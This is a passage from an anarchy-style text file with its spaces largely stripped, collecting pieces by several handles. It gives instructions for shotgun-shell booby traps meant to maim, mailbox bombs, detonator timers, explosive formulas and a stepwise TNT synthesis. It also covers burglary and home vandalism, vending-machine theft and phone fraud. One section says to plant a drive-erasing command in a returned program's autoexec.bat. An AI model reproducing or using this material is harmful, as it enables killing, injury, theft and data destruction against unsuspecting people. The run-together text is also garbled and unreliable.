Compiletherocketasstatedbefore,andputitverticalonastandofsomesortwith
thebottomaccessible.PlaceasectionofPVCpipe95deg.preferredandshootinto
the PVC pipe which should direct the BB upward, and the can should take off.
Experimentw/differentcans,itshardtofindonesthatworkperfectly,andstillgo
higherthan30ft.
FunWithShotgunShells
byJollyRoger
Thisfileisforthosehavenoconcernforthemselvesorthepersontheywannafuck
overwiththis(inshort,afuckingmaniac!!!).

DoorBlams
Shotgunshellsarewonderful.Theycanbeusedinalmostanysituationwherepain
oramputationoflimbsisconcerned(includingyourownifyouarenotextremely
careful.Thebestwaytouseshells,istheDoorBlam.TheDoorBlamisasimple
concoctionofashelltapedtothebackofadoorwiththeignitionbuttonfacingaway
fromthedoor(soitblowsoutagainstthedoor).Nowpositionitsomewherewhereit
willdothedamageyouwant.i.e.nearthetopfordecapitation,middleforslow
deathorlowtomakethevictimskneecapsflyacrosstheroom.Nowtapeathumb
tackagainstawallorsomethingthatthatpartofthedoorbumpsupagainst.Tapeit
tothewallsothatthepointpokesthroughthetape,andpositionitsoitwillhitthe
ignit.buttonuponimpact.Itsthatsimple.Instantpain!
LongRangeExplosives
Theseare the mostdifficultexplosiveihaveevertriedtomake(peopleiknow
havelostfingersandhandstothislittlefucker)ifyouhaveaverystillhand,itmight
beaccomplished.Ignitbuttonsusuallytakesomeforcetomakeitblow,socarefully
&lightlypushatackthroughtapeandtapeittothebackoftheshell,withthetipof
thetack lightly touchingthebutton.Addmoretapetothebacktoholdthepinin
place.Ifyoustillhavehandsatthispoint,consideryourselflucky.Nowyouneedto
addaweighttothetackendparttomakesureithitsthegroundfirst.Tapingsmall
rocksormakingtheshellbyputtingheavyloadstowardsthebuttonhelps.Placinga
cracker(yes,acracker(Saltines,anyone?))betweenthetackpointandthebutton

helpspreventdetonationupon throwing,which does happen.Nowtossituphigh

andawayfromyouandrunlikeshitdoesafteryoueatMexican.Thesetwopranx
are highlyunrecommanded and Exodus takes no responsibilityforanycausesof
performingthemnortheresults.
ElectronicAccessories
byJollyRoger
EveryFreakerNeedsHisOwn
Somefreaksbelieveinthedownndirtycustomizingofequipmentbycraftingit
themselves,notme!IbelievethattheotherguyshouldbuildthestuffandI'llstealit
anduseitlater.Thisisalistofplaceswhereonecanobtainthedevicesthatwould
otherwisehavetobebuiltbyhand.Butafterall,agoodfreakcantakeapremade
itemandadaptittohisneeds.
Coolstuff::
RadarJammers:
The"Eclipse"
$199
T.E.K.Distributors
P.O.Box32287
Fridley,MN55432
6127831666
Surveillance
Phonebugging,phonerecordingsys.etc.
Ede
P.O.Box337
Buffalo,NY14226
(716)6913476
catalogue$5
USICorp.,
P.O.BoxPM2052
Melbourne,FL32902
catalogue:$2
407725100
Protector
P.O.Box520294M
SaltLakeCity,UT84152
(801)4873823
catalogue$5
Freecatalogue:

18007325000
SpyMart
P.O.Box340M
MoreheadCity,NC28557
catalogue$4
MicroVideo:
Supercircuits
13552ResearchBlvd.#B2
Austin,TX78750
catalogue$3
Scanners:
CRB
P.O.Box56
Commack,NY11725
Freecatalogue
HPR

P.O.Box19224PM
Denver,CO80219

(requestinformation,Iguess!?)

Misc::
InformationUnlimited
P.O.Box716,Dept.PM294
Amherst,NH03031
Reallycoolshit,thegoodstuff.Kindofexpensive,sogetreadytocard!!!)
Freecatalogue(w/order,otherwise$1)
EdmundScientific
ThelittleDept.14D2,
C908EdsCorpBldg.
Barrington,NJ08007
Alwaysfindagreatplacetofindnittygrittyelectronicsthatmakeupcoloured
boxesandthelike.

DripTimer
byJollyRoger
Anothermethodoftimedelayforexplosivesthataredetonatedbyelectricmeans,is
thedriptimer.Fillabaggiewithwaterandthenaddasmuchsaltasthewaterwill
hold.Sealit,leavingsomeairinside.Then,tapethetwocontactwiresfromwhich
thecircuithasbeenbroken,totheinsideofalargecup.Placethebaggieonthecup.
Pokeaholeinthetopofthebaggie,wherethereisair,andthenmakeaholeinthe
bottomtoletthewaterdrainintothecup.AsanyEinsteinfigures,thesaltwaterlevel
inthecupwilleventuallyconductelectricityatthemomentbothwirestouchwater,
thuscompletingthecircuit.Ihaveyettotrythistimerout,andIgottheplansfroma
total idiot, freaker nonetheless, and doubt it would work with any power source
under12V.
007
Stealing
byJollyRoger
Itisstrangejusthowmanyfilesthereareouttherethattrytodocumenttheartof
stealing.After all,it is anart.Youhavetobecalm,smooth, persistent,patient.
Stealingisnotanovernightplannedoperation.Youshouldtrytoprepareforatleast
aweekormorewhenplanningtostealfromahouse,andevenlongerwhenfroma

business.Storytime,kiddies:Alongtimeago,well,inthepastyear,myfriendsand
I noticed that the building complex in our town was the perfect place to obtain
unpaidforitems.Welearnedallwecouldaboutthecomplex,whichwasabout365
000 SQFT and each company consisted of an office (fully furnished with cool
computerstuff),anda10000SQFT(roughly)warehouse,allinterconnected,andall
onelevel.Thisinformationwasobtainedthroughseveralcallstothetowncommittee
(boardofdevelopment,orsomeshitlikethat,theplacethatyoucallforbuilding
permitsandthelike)andweobtainedtheblueprintsforthewholecomplex.We
plannedaroutefromthesideentrancethroughthewarehouseandintotheoffices,
whereallthegoodstuffisusuallylocated.Nowthatwehadourroute,allweneeded
wasaplantogetinside.Sincethiswasourfirstmajorjob,wespentafewgood
weeksonpreparation.Duringthesnowweather,weworkedw/acompanytoshovel
thesidewalksofthecomplex.Onenight,atabout11pm,westoppedshovellingin
frontofourplannedjobsite,CampbellsSoup,Co.Therewasnobodythereexcept
thejanitorsthatcleaneduptheplace(orsowethought).IaskedthejanitorifIcould
usethebathroom(Ididhavetogotoo)andheletmein.Imusthavesurprisedhim
whenIknewexactlywherethebathroomwas!AsIwalkedtoit,Iscannedforvid
cams,infraredguns/recievers(littleboxesatentranceswithablackglasssquare
about1"sq.ataboutkneehightoneachside).Nothing.Thedoorsallhadsecurity
magneticdetectionatthetopsandalsothewindows.Tothinksomeonewouldbreak
inthroughanobviousplacelikealargewindow,stupid.Tomysurprise,therewerea
fewlosersworkinglateanddidn'treallycarethatIwasthereatall.Takeanother
Viverin'guys,Iwontbeherelong.Thesmellofblackcoffeewasstifeling.The
bathroomwaslocatedbackbytheoffice'sentrancetothewarehouseandtomy
surprise,itwasunlocked!Thelightswereonandtheplacewastotallyempty,except
forafewcardboardremains,andshelves,andthatblessedsidedoor.Iwalkedoverto
thedoortoexamineit.Nosecurity,novidcamsinthewarehouse,nonothing.Odd,
usuallythesewarehouseswerekepttightasahookerspussy.Butitlookedlikethey
werepackinguptomovesomewhere.Boxesontheofficedesksetc.Thedoorwas
lockedwithakeydeadbolt(paintopick)andaregulardoorknobkeylock.No
problem.Ineededtostopthatdeadboltfrombeinglocked,soIlookedaroundfor
something to use, aha! There was some strange material like alum. foil on the
ground,pliable,yetofablackcolour.Itookoutasmallallenkey(athiefnevergoes
anywherewithoutasmalllockpickingtool)andcrammedenoughofthestuffinto
thekeyholesothatakeycouldnotbeinsertedfarenoughtoturn,andthestuffwas
inntofartobepulledout.Voila!Backtothepointofthisstory.Whenthetimecame
tomakeourmove,somethingstrangehappened.Theplacewasabandonedfor3days
straight,mostofficeequipmentremovedandthefrontdoorleftajar,forall3days.
Westilldecidedtoenterviaourplannedroute.At1:30amwewenttothesidedoor
andwhatasurprise,thedeadboltlockwasopen.Nowtotheknoblock.Itwasstill
locked,butnotaproblem.Knoblocksusuallylooklikethis:
|wallsocket

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|wallsocket
Thetopslidingpieceisabout1/4"wideonpopularlocks,withthebarfacingyou,
ifthedoorswingsoutward.Withthesmallestallenkeyyoucanget,stickitinand
repeativellypushandslideitbacktowardstheknob,butdon'tletgo,becauseitis
springloadedandwillsnapbackintoplaceagain.Nowforthelargerbar.Take
anotherkeyandwedgeitintotheslotwherethebarenterstheotherwall(withoutthe
knobonit!)anddothesamething.Thiswillbeconsiderablyhardertodothanwith
the small tongue, but if you practised like you should have, it will open with
minimumeffort.Nowwewereinside.Weranthroughthewarehousethroughthe
warehouse/officedoor(thesearerarelylocked,buttrytoprepareforitaheadoftime
by"crammingthelock"likeIdid)andintotheoffice.Theplacewasempty,no
shelves,justdesks,chairsandboxes.Theboxescontainedmodems,motherboards,
buscards,printers,cables,phonecableandonecontainedaZenithlaptopcomputer!
Noshit,thisisatruestory!Wetookeverythingwecouldcarry(5people).Wetook
alltheabovementioned,aswellasprintertoner,phones,phonejacks,documents,
deskchairs,insulatedboxesandbags(staticfreekind),eventhelittleshitthings,
likeoutletplates,lightbulbs,anything!!!Wewentreallycrazyandwereoutin2
min30sec.(alwayssetatimelimit).Wewoundupthrowinghalftheshitaway,but
itfeltgreatjusttotakeanythingthatwasnotours!!!Ihavesincethendoneother
"jobs"withmuchmoreprecisionandeffort,aswellasbetterrewards.Herearesome
tipsthatshouldbefollowedwhenattemptingtosteal:: Weargloves !!!Backpacks
foreveryonetoputthelootin.Alwayscasethejointforatleastaweekandkeep
documentedrecordsofwholeaveswhen,whattimeitcloses,timedlightsetc.Have
atleast4friendswithyouandplease,makesuretheyknowwhattheyaredoing,no
idiotsallowed!Bringtools:smallallenkeys,bothtypesofscrewdrivers,standard
sizeandtiny,hacksawblade,wirecuttersandstrippers,spraypainttoleaveyour
handleonthewall,hammer,mace,gunifavailable,flashlights(duh),wiregoodfor
reroutingdoorsecurityandboltcutters.Designateapersontocarryallthetools
onlydon'thavehimpickupstuffandmixitwiththetools,thiswillonlyslowyou
downlaterifyouneedtolookfiratoolquickly.Designateapersontostayputby
thedoorandkeepwatch.Designateatimer,onewhohasalightedstopwatch.Make
runsnolongerthat3min.andinthistimeisextremelyhightrytokeepaslow
aspossible.Getawayvehicle(preferablynotavanorpickuptruck,thesewillbe
verssuspicioustothepigser.Imeancops.Anddon'tspeedoranything,thisjust
attractsattention.Coverlicenceplatestilljustbeforeyougetyourassesgoing,sono
onecanreporttheplatestothepigsoops!,damn,diditagain,cops.Makesureyou
remove covering before leaving. Always keep flash lights pointed down unless
necessary,crawlunderwindows,noshouting,evenifyoufindsomefuckingcool

shit,onsecondthought,maybepaintingyourhandleisalittlestupid,soforgetthat,
weardarkclothesoverregular,nonsuspiciousclothes(getchangedfirstthinginthe
car).Neverbragaboutyourfindingsinpublic,onlyonmodemoronBBSandnever
give names of places, friends and exact names of things taken, (just say you
borroweda486DX33motherboard,don'tsayisaIntel486DX33mhzforanIBM
PS/1model50,serial#XXXXXXXXXXXX. Thatisjustplaindumb).Havefun
andneverstealfromyourneighbourhood!!!Ifyoubreakintohouses,nevermove
stuffaround;thelongerittakestheyuppiefamilytorealizethatyouwerethere,the
better.Weargloves !!!Togetinwindows:shootwindowwithBBgunandplace
clear,stickyhardcoverbookcoveringonthewindowoverthehole,hopefullythe
impactoftheshotwasenoughtocracktheglassandleanorpushonthecovered
glass,donothitorkickandyouwillseethatthemajorityoftheglasswillsticktothe
coveringandwillmakeconsiderablylessnoise.Enterthroughbasementwindows
preferablyunderadeckorsteps.Makesurethepeoplewillbegoneforthenight
andtheneighboursareasleep(goforaround2:30am).Takestuffthatwillsell
easilytofriendsanddon'twastetimetakingthingsthatlookneat,justtakethebasics:
electronic, computer, TV, VCR, some jewellery things you could easily hock,
preferably without inscriptions, raid the fridge, take good quality phones, stereo
equip. , speakers etc. Always case the outside of the house looking for security
stickersthatyuppiefamiliesliketoplaceinfullview.Domischievousshitlikecut
allphonelinesinhouse,cutupcouchcushionsandflipthemoversotheylook
perfectly normal ! Shoot a hole in their fish tank, (all yuppies own fish); slash
clothes,thenputthembackintothedrawer;unplugfridge;setthermostatwayupto
99,9degrees;leavedrainpluggedandletthefaucetrunjustalittle,(for6hours!!!);
whateveryoucan'ttakeorcarryout,destroyinasubtleway,ifyoucan'tcarryout
those130lbwoodcasestereospeakers,slashthecones;breakballpointpensopen
andrubthemintothecarpetwiththeirshoes;runamagnetoveraudioandVCR
cassettesandfloppies,andanythingelsesubtlethatwouldbrightentheirday.
Miscellaneousinformation
byJollyRoger
Easyexplosive
Fill Kodak film case (you know, the black cylinder with the grey cap) with
explosiveofyourchoice.Drillholeingreylid,insertfuseandtapeitbacktogether
verytightly.Light.PokeaholeitthegreycapfacingoutwardsandinsertanM80
withfusegoingthroughtheholeandreseal,tapingittightly allaround thecase.
Placeinplasticmailbox,light,closedoorandgetthehellaway!Becauseofthetight
airspace,thedestructivepoweroftheexplosionisincreased5X.Worksunderwater
too,withadropofwaxorpreferablyrubbercementaroundwherethecapandwick
meet.Filla glass coke/pepsibottlewith1partgas,1partsugar&1partwater.
WedgeanM80intothetopabouthalfway.Shakethecontainer,placeinmailbox
(hopefullywithmail{Hehe!})lightandgetthefuckaway.Thisthingsendsglass

shrapneleverywhere,includingthroughtheirmail.
DoorKnobShocker
Runawirefromoneslotinwalloutlettothebracketinthewallthattheknob's
tongueinsertsinto.Runanotherwirefromtheotherslottoaninconspicuousspoton
theDoorKnob.Howdoesthatone*grab*you?
PhoneLoops:(remember,tone+silence=connection)
Number|Tone/Silence(T/S)End|Status(onconnection)

???????????Snomatch
16197480002Tdefinitetone
xxxx749xxxxTdefinitetone
???????????Snomatch
16197390002Tdefinitetone
xxxxxxxxxx1Snotsureofmatch
xxxx7380002Tdefinite
xxxxxxx0020Sdefinite
xxxx7xx0002Tdefinite
???????????Snomatch

Actually, any 1 619 7x9 000x gives tone detect, finding the other silent
connectionisaweebitharder.Ifanyonemanagestocompletesomeoftheseorany
loops,pleaseletmeknow.Theonlybadthingaboutlooplines,isthateventuallythe
Gestapofindsoutabouttheoveruseoftheline,andassignsthe#toanyonewho
wantsanew#fortheirphone.Thenwhenfreaksbegintousethelineagain,thinking
itisaloop,theygetapissedoffyuppiewhothenhasthecalltraced,andthat'slike
puttingyourballsrightinadoorandslammingit.Theoperatorwillcomplaininyour
faceandsaysomebullshitlikeshehasyour#andwillreportanydisturbancestothe
phoneco.ifsheseesitagain.
SimpleVirus/EasyWayToReturnACopiedProgram(Hehe!)

Whenyoubuyagame,orsomethingfromacomputerstore,copyitandwantto
returnit(Iknowallofyoudothis),sometimesallthestoredoesisrecellophaneit
anditgoesbackontheshelveswithoutbeingretested.Iftheoriginalfloppieshave
an autoexec.bat fileonthemtoinitiatethecopying/decompressionatbootup,
simplyeditittosay:
cd\
delc:*.*
y
That'llmakesomeone'sdayrealfunny,especiallyifthestoretriestotestit.Or,in
mostcases,thestorewillnotacceptreturnedmerchandiseifitisnotdefective,so

defectit.Thisisdonebyusingaprogramthatshowsthedateandtimetheoriginals
werelastmodified(checkforthisbeforeinstallingtheprogram!!!)suchasDosshell,
orXTGold.Thensetthedateandtimeonyourcomputertomatchtheoriginalsdate
andtime(approx).Installtheprogramand/orcopytheoriginalsandmanuals.Now
fuckaroundwiththedecompressionfile(usuallypkunzip),theinstallationfile,and
anyothersyousee.Nowthestorehasnoreasonand mustaccepttheproductasa
return or sometimes they will give you a return check for the $$, and send the
programbacktothemanufacturer,whichisgood,becauseitwillthenberecopied,
resealedandputbackontheshelvessomewhereforanotherfreakertoHac!!!(Ifthe
abovedate/timematchingistoomuchofapainforthereallyretardedoutthere,set
yourcomputerdate/timetoanypastonesclosetotheoriginalsandfuckwithallthe
files,thusmakingthemallmatch.)
BatteryBombs
BatterieslikeDuracell,Eveready,Energizeretc.arespeciallymadeforhomeuse
andwillnot,underanycondition,explodewhensimplyconnectedtoeachother.
Therefore,genericbatteriesarerequired.Thesebatteriescanbeobtainedinhick
countryorfromashittywholesaler.I'veheardoffriendsputting9Vsinthefucking
microwave for a minute or so and this is supposed to disable the "exploder
protector",butanyonewhoputsbatteriesinamicrowave,shouldhavethebatteries
explodeonthem.Exodustakesnoresponsibilityforanythinginthisfile!!!Inever
foundoutif29vbattsconnectedreallydoexplode.Ihopeso.
AnyBlueBoxers???
Notmanypeopleuseblueboxesthesedays.They'vebecomeaneminentdangerto
freakers.MaBellhasnewequipmenttodetecttheuseoftoneemittingboxes,and
abouttheonlysafeplacetoboxcallsfromisthehandydandypayphoneattheend
oftheblock.Theonlywaytoboxcallstodayistoswitchofftoanotherswitching
systemwithanothernumber:i.e.callastorelikeToysRUs,(19083226065
Livingston,NJ)andaskforthetechnical(videogame)department.Thisswitchesthe
numberfromtheabovetotheextensionofthedepartment,usuallyandextension,but
itcanbeatotallydifferent#youaresenttowhileyouareonhold.Thisisverygood.
Bullshit the employee at the tech dept. and wait for him to hang up first. That
disconnectsyoufromhisdepartment,butnotfromtheinterconnectionsofthestore.
(itmightevenbepossibletodialanumberandgetanotherdepartmentatthispoint).
Thisislikestackingtrunks.Theirdialtone(insidethestore)mayhaveaslightly
higher/lowerpitchthanadialtoneatyourhouse.Thisiswhatyouwant.Nowblow
2600acrossthelineandyoushouldhaveaccesstoatrunk,andBellLabsthinkthat
thestoredidit,anditisnotusuallyquestionedbecausethecomputermightthinkthat
it is part of their paging system. (not 100% sure, test around) when someone
(preferablywhoyoudon'tgiveashitabout)calls,dial*69toringhimback(ifyour
areasubscribestothisfeature).Whatshouldhappenisthatthe*69toneaskstheBell
computertocallbacktheperson.Thecomputerdoesthecallingatthispoint.Now

whenyourfriendpicksup,bullshithimintohangingupfirst.Nowthecomputeris
gettingthedialtonefirst,thenitpassesitontoyou.Ifyoublow2600atthispoint,
thecomputermaythinkitisitsownequipmentdoingthecalling.I'mreallynotsure
aboutthisone.Hopefullythisoneworks,butIcan'ttestitbecausesomefuckedup,
shitfull,douchenozzle,pigfuckerbrokemyMFbox.MFboxesarenotthathardto
comeby.Manyhobbyshops,musicinstrumentstoresorelectronicstoresmaysell
theMFboxitselforonethatdetectstones,whichcanbeusedinthereverseway.
GoodTechnicalPhoneNumbers
Sometimesthehardestpartofgettingtechnicalsupportisfindingaplacetolook.
AneasyplaceisM.I.T.(homeofthe originalfreaks)Findthenumberforthe
Electronicengineeringcampus,callandsayyouwouldlikethenumberfor(give
room#makeoneupifyouhaveto)orcallthepersoninchargeofdormassignments
(buyacollegebookifyouneedto).Eventually,ifdoneright,youwillhavealistof
possible#sandsetyourmodemonscanandlookforcarrierdetect.Oneofthese
nerds,ahm!ImeanGeniusesmusthaveacomputerwithamodemandtheseguys
willanswerabout100%ofyourtechnicalproblems.
PracticalJokes
IfyouareintopracticaljokeslikeIam,thanhereisabookforyou:"TheSecond
Official

Handbook

of

Practical

Jokes"

byPeterVanDerLinden
Therearehundredsofgoodpracticaljokesandphonescams,aswellasasectionof
computerjokes,withawholeprogramofrewritingthecommand.comfiletobe
funnierthanever.
007
ShavingCreamBomb
byExodus
Thismaynotreallybewhatwewouldconsiderabomb,butitisahelluvagreat
ideatofucksomeoneover.Youwillneed:(1)personyouhatewhohasacar;(1)
containerofliquidnitrogen(tryascienceshop,orEdmundScientific,mentionedin
severalplacesinthisCookbook);(610)cansofgenericshavingcream;(1)free
afternoon(preferablyinfreezingtemperaturesoutside);(1ormore)pairsofpliars
forcuttingandpeelingandsomefriends
Directions
Findsomeonewhoownsasmallcompactcar,andmanagetofindoutwherehe
keepsitatnight(orwhileheisaway!)Beabletoopenthecarrepeatedly.Placea
canintheliquidnitrogenforabout30sec.Takeitoutandcarefullyandquicklypeel

offthemetaloutsidecontainerandyoushouldhaveafrozen"block"ofshaving
cream(Ithelpstohavemorethanonecontainerandmorefriends).Tossitintothe
caranddothesamewithallthecans.Adozenormore"blocks"likethiscanfilland
lightlypressurizeasmallcar.Whenheopensthedoor(hopefullyhedoesn'trealize
themessinsideduetothefoggywindows),hewillbecoveredwithlbsofshaving
creamthatisabitchtogetoutofupholstry.
P.S.Trytogetoneishisglovecompartment!
Thisisanothergoodwaytoripoffachangeordrinkmachine
byJollyRoger
Youfirstgetanicenewdollartoworkwith.Makesuretherearenoripsinit.Now,
yougetathinpieceoftransparentplasticabout3/4thewidthoftheactualdollar.It
mustbeagood6"orlonger.Next,youneedsometransparenttape.Scotchmagic
tapewillworkthebest.Yousimplytapetheplasticstriptothedollar.But,youmust
becarefulnottotapeitmorethan1/2"upthesideofthedollar.Tapeitonbothsides
(frontandback,nottopandbottom)ofthedollar.Nowallyouhavetodoisuseit:
Walkcasuallyuptothesecludedmachine.Takeoutyourdollarandputitintothe
machine. Becareful !Someofthemoremodernchangemachineshavealarms!
Most likely, though, drink or candy machines will not. Now, the machine starts
takingyourdollar.Youwaituntilyourplasticstripisalmostallthewayintothe
machineandthenyoupullwithsufficientforcetogetthedollaroutofthemachine,
butnotripit.IfYoudiditcorrectly,youshouldhavegottenwhateveryoubought
and still have your dollar for later use. On candy machines, though, make your
selectionandthenwaitandpullthedollarout.Don'tworryifyoudon'tgetitonthe
firstfewtries.Ittookmeabout5triestomasterit.Itdoes,irepeatdoesworkfora
fact if done correctly. If you just can't get it, though, either the machine is too
sophisticatedoryouputthetapeuptoohighonthedollar.Havefun!!!Alittleannex
totheCookBookfrom AcidFlesh canbefoundonlocalBBS'sinNorthernNew
Jersey.
Lockpickingfortheextremebeginner
broughttoyoubyExodus
Thisisreallyagoodmethodforopeningdoorsthatarelocked.Theonlyproblem
withthis,though,isthatitonlyworksforoutwardopeningdoors.O.K.,herewego.
Realizeyouarenotworkingwiththeactuallock,butthatthingthatsticksbetween
thedoorandthewall.Seehowthatthingiscurvedononeside?Well,thatiswhat
wewillbemakinguseof.Acquirealargepaperclip.Ifitistooshort,itwon'twork.
Youhavetoalsohaveashoelace.Now,ontotheconstruction.Straightenthepaper
clip.Looponeendofthepapercliparoundtheshoelace.Theshoelaceshouldbe
about4/5ononesideoftheclipand1/5ontheother.Let'sseeifIcandrawit.
*************************************
*

*******
isthepaperclip
***istheshoelace
That'snotverygood,butIhopeyougetthepicture.Allyouhavetodonowiscurve
thepaperclip(no,Iwon'tdrawit).Withthecurvedpaperclip,stickitbetweenthe
doorandthewall,behindthemetalthingthatsticksbetween.Feeditthroughwith
youhand,untilyoucangripbothsidesoftheshoelace.Now,simplypullthelace
andthedooratthesametimeandVoila!thedoorisopen.Ipreferthisoverregular
lockpickingifthedooropensoutward,becauseitisalotquicker.Lockpickingcan
take5minutes.Whendonecorrectlythisonlytakes30seconds!So,ifyoucan,use
this.
Anarchynexplosivespreludevolume
anotheradditiontothemightyCookBook
byAcidFlash
Foryoupeoplethatlikeblowingthingsupandshitlikethat,here'ssomethingthat's
notasdangerousorasdifficultasmoreoftheexplosivesavailable(orabletocreate).
It'scalledtheLN2Bomb(ShortforLiquidNitrogenBomb).Veryeasytomake.
Ingredients
1PlasticTwoLitreBottle;EnoughLiquidNitrogenToFillTheBottle
Instructions
Fillthebottlewithliquidnitrogen.Capastightlyaspossible.Thevaporizationof
thenitrogenwillcreateenoughpressureinthebottle(within515minutes)tobreak
itwithaquitestrongexplosiveforce.VeryEasy.Useatyourownrisk!
_________________________
|800#'stofuckwith|
|CompiledbyTheDuelist|

Numberswitha?Eithercallforwardtotakeuonsometripthroughswitches,but
I'msureifyou fuckaroundwithitenough,you willgettheretonesomewhere.
Havefun!Later!
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andprovidedocumentstothoseneedinginformationontheSuperfundandResource
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Contact:ChemicalManufacturersAssociation
2501MStreet,N.W.
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site, then the shipper can authorize a Chemnet contracted emergency response
companytogoinitsplace.
Chlorep

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Contact:ChlorineInstitute
342MadisonAvenue
NewYork,NY10017
TheChlorineInstitutein1972establisheditsChlorineEmergencyPlan(Chlorep),
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assistance at chlorine emergencies in the United States and Canada through
telephoneinstructionstoonscenepersonnelorthedispatchingoftrainedteamsto
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CAER
CommunityAwareness andEmergencyResponseinformationline.This isa 2
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4631599andisupdatedtwiceamonth.Tosubmitaneventtobepublicized,send
thematerialsto:
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CMACommunicationsDept.
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WashingtonD.C.20037
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Contact:DougWalton
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U(301)9756872
Informationonthebulletinboardincludes:
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Federalandstateagencyonlinedatabases
The Office of Solid Waste and Emergency Response (Oswer) bulletin board is
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or enforcement and with Ord scientists and engineers in Headquarters and

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Office of Program Management Technology (OPMT). The Oswer BBS offers
messages, bulletins, files and computer programs, databases, and conferences.
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Anarchy'n'explosivesvolume2
byJollyRoger
Thisvolumedefinesafewvarietiesofmiscexplosives,chargesandwhateverIhad
inmindatthattime.Anyway,theseformulasarenotaspreciseinmeasurementsfor
theyweregiveninbriefsummary.However,theywillworkandifusedcorrectlycan
besafeand"fun".
FrenchAmmonal
Type:LowExplosive
Ingredients:86%AmmoniumNitrate
6%StearicAcid
8%AluminiumPowder
Description: Frenchammonalisaneasilyimprovisedlowexplosivemixture.Itis
generallylesseffectivethananequalweightofTNT.Thematerialisloadedby
pressingitintoasuitablecontainer.InitiationbyanEngineer'sspecialblastingcapis
recommended.
Comments:Thismaterialwastested.Itiseffective.
References:TM312011,UnconventionalWarfareDevicesandTechniques,para
1401.
Tetrytol
Type:HighExplosive
Ingredients:75%Tetryl
25%TNT
Description:Tetryolisahighexplosiveburstingcharge.Itisusedasademolition
explosive,aburstingchargeforminesandinartilleryshells.Theexplosiveforceof
tetrytolisapproximatelythesameasthatofTNT.Itmaybeinitiatedbyablasting
cap.Tetrytolisusuallyloadedbycasting.
Comments:Thismaterialwastested.Itiseffective.
References:TM91900,Ammunition,General,page55.
TM91910,MilitaryExplosives,page188.
Improvisedplasticexplosivefiller

Type:HighExplosive
Ingredients:FinelyPowderedPotassiumChlorateCdatabstalsPetroleumJelly
**Mixthoroughly**
Description:ThisplasticexplosivefillercanbedetonatedwithaNo.8commercial
blastingcaporwithanymilitaryblastingcap.Theexplosivemustbestoredina
waterproofcontaineruntilreadytouse.
Comments:Thismaterialwastested.Itiseffective.
References:TM31210,ImprovisedMunitions,secI,No.1.
Flamabilityofgases
Type:GasExplosive
Ingredients:ExplosiveGas
Description:Undersomeconditions,commongasesactasfuel.Whenmixedwith
air,theywillburnrapidlyorevenexplode.Forsomefuelairmixtures,therange
overwhichtheexplosioncanoccurisquitewidewhileforothersthelimitsare
narrow.Theupperandloweramountsofcommonfuelsthatwillcauseanignitable
mixture are shown in the table below. The quantity shown is the percentage by
volumeofair.Ifthefuelairmixtureistooleanortoorich,itwillnotignite.The
amountsshownarethereforecalledlimitsofinflamability.
GasesFuel(Gas)LowerLimitUpperLimit
(%byvolumeofair)

WaterGasOrBlueGas7.072
NaturalGas4.715
Hydrogen4.075
Acetylene2.581
Propane2.210
Butane1.99
Comments: These fuels have been tested under laboratory conditions. They are
effective. Ignition depends on method of initiation, uniformity of mixture and
physicalconditions.
References:Bulletin29,LimitsofinflammabilityofGasesandVapours.
H.F.CowardandG.W.Jones,BureauofMines,U.S.
GovernmentPrintingOffice,1939.
!!!Warning!!!Usetheseformulasandotherformsofanarchy/explosivesatyour

ownrisk!MorevolumesofAnarchysoontocome.

Anarchy'n'explosivesvolume3
byJollyRoger
Thisisthe most importantoroneofthemostimportantvolumesregardingthe
variousmixturesofanarchythatIwillbe"publishing"tothe"public".Also,itmay
aswellbethemostdangeroustoprepare,thesubstancewewillbedealingwithis
TrinitrotolueneorshortTNT.Thishighexplosiveisa verydangerous,slightly
unstablesubstance.ThecrystalizedcrudeTNTisaboutthecolourofbrownsugar
andfeelsgreasytothetouch.Itissuitableformanyusesasahighexplosive,butnot
fortheuseinhighexplosiveshells.Itisalsohighlyreactivetomanyotherchemical
substances.Itcanbeincorporatedintodynamiteandmanyotherexplosivesthatwill
beexplainedinfurtherdetaillater,inothervolumesofAnarchy.
Warning: Donotattempttofinishthisprojectunlessyouarefullycapablesafely
executingtheprocessesinasafeenvironment!Ifyouchoosetocontinue,readthe
instructionscompletelythroughbeforebeginningandhaveallmaterialsandtools
(includingsafety/emergencyequipment)readyforusewhenoriftheyareneeded.
Thisisnotajoke!Useatyourownrisk!!!
PreparationofTrinitrotoluene(ThreeStages)
Amixtureof294gramsofconcentratedsulfuricacid(density1,84)and147grams
ofnitricacid(density1,42)isaddedslowlyfromadroppingfunnelto100gramsof
tolueneinatall600cc.beaker,whiletheliquidisstirredvigorouslywithanelectric
stirrerandit'stemperatureismaintainedat30to40degreesCelsiusbyrunningcold
waterinthevesselinwhichthebeakerisstanding.Theadditionofacidwillrequire
fromanhourtoanhourandahalf.Thestirringisthencontinuedforhalfanhour
longerwithoutcooling;themixtureisallowedtostandovernightinaseparatory
funnel;thelowerlayerofspentacidisdrawnoffandthecrudemononitrotolueneis
weighed.Onehalf of it,correspondingto50gramsoftoluene,istakenforthe
dinitration.Themononitrotoluene(MNT)isdissolvedin109gramsofconcentrated
sulfuricacid(d.1,84)whilethemixtureiscooledinrunningwater.Thesolutionina
tallbeakeriswarmedto50degreesandamixedacid,composedof54,5gramseach
ofnitricacid(d.1,50)andsulfuricacid(d.1,84),isaddedslowlydropbydropfrom
adroppingfunnelwhilethemixtureisstirredmechanically.Theheatgeneratedby
thereactionraisesthetemperatureandtherateofadditionoftheacidisregulatedso
thatthetemperatureofthemixtureliesalwaysbetween90degreesand100degrees.

Theadditionoftheacidwillrequireabout1hour.Aftertheacidhasbeenadded,the
mixtureisstirredfor2hourslongerat90100degreestocompletethenitration.Two
layersseperateonstanding.Theupperlayerconsistslargelyofdinitrotoluene(DNT),
butproboblycontainsacertainamountofTNT.Thetrinitrationinthelaboratoryis
convernientlycarriedoutwithoutseparatingtheDNTfromthespentacid.Whilethe
dinitrationmixtureisstirredactivelyatatemperatureofabout90degrees,145grams
of fuming sulfuric aced (oleum containing 15 % free SO3) is added slowly by
pouringfromabeaker.Amixedacid,composedof72,5gramseachofnitricacid(d.
1,50)andthe15%oleum,isnowaddeddropbydropwithgoodagitationwhilethe
heatofthereactionmaintainsthetemperatureat100115degrees.Afteraboutthree
quartersoftheacidhasbeenadded,itwillbefoundnecessarytoapplyexternalheat
tomaintainthetemperature.Afteralltheacidhasbeenadded(taking11/2to2
hours),theheatingandstirringarecontinuedfor2hourslongerat100115degrees.
Afterthematerialhasstoodovernight,theupperTNTlayerwillbefoundtohave
solidifiedtoahardcakeandthelowerlayerofspentacidtobefilledwithcdata
bstals.TheacidisfilteredthroughaBuchnerfunnel(withoutfilterpaper),andthe
